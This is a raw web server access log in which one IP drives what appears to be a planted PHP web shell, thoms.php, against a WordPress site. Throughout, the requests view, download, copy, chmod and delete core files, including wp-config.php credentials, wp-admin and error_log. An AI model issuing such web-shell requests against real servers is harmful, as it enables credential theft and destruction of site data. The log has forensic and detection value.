45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?edit=.htaccess&p= HTTP/1.1" 200 11708 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p= HTTP/1.1" 200 15341 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fthoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?p=bestzyx.com.tw&upload= HTTP/1.1" 200 12153 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:45 -0400] "GET /thoms.php?chmod=wp-admin&p=bestzyx.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?del=wp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 17545 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-config.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?del=wp-admin&p=bestzyx.com.tw HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11667 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Findex.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=locoy.php HTTP/1.1" 200 12954 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?chmod=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?del=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?dl=wp-load.php&p=bestzyx.com.tw HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:46 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=readme.html HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13105 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?chmod=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /bestzyx.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?dl=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?del=cgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 13620 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /bestzyx.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-blog-header.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10462 "https://163.245.207.76:443/bestzyx.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 13432 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?chmod=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=filefuns.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?dl=filefuns.php&p=bestzyx.com.tw HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?dl=filefuns.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?del=index.php&p=bestzyx.com.tw HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:47 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bestzyx.com.tw HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/cgi-bin/ HTTP/1.1" 200 691 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 17545 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-activate.php HTTP/1.1" 200 14816 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?del=wp-includes&p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?del=locoy.php&p=bestzyx.com.tw HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/wp-links-opml.php HTTP/1.1" 200 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13305 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/.well-known/ HTTP/1.1" 200 781 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-signup.php HTTP/1.1" 200 22509 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-trackback.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /bestzyx.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?del=error_log&p=bestzyx.com.tw HTTP/1.1" 200 17543 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:48 -0400] "GET /thoms.php?chmod=index.php&p=bestzyx.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Flicense.txt&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /bestzyx.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?dl=wp-activate.php&p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bestzyx.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /bestzyx.com.tw/filefuns.php HTTP/1.1" 200 28 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?chmod=optimized-validator&p=bestzyx.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=optimized-validator&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bestzyx.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 17519 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?del=wp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 17529 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /bestzyx.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?del=optimized-validator&p=bestzyx.com.tw HTTP/1.1" 200 17527 "http://163.245.207.76:443/thoms.php?del=optimized-validator&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /bestzyx.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=filefuns.php HTTP/1.1" 200 14704 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=filefuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /bestzyx.com.tw/wp-login.php HTTP/1.1" 404 10462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?p=bestzyx.com.tw&view=wp-config.php HTTP/1.1" 200 13717 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-login.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bestzyx.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-settings.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?dl=wp-config.php&p=bestzyx.com.tw HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?del=.well-known&p=bestzyx.com.tw HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p= HTTP/1.1" 200 11677 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Froster-vendor&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?dl=license.txt&p=bestzyx.com.tw HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?del=readme.html&p=bestzyx.com.tw HTTP/1.1" 200 17528 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /bestzyx.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?dl=error_log&p=bestzyx.com.tw HTTP/1.1" 200 17527 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 28776 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /bestzyx.com.tw/wp-config.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:50 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bestzyx.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2F.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
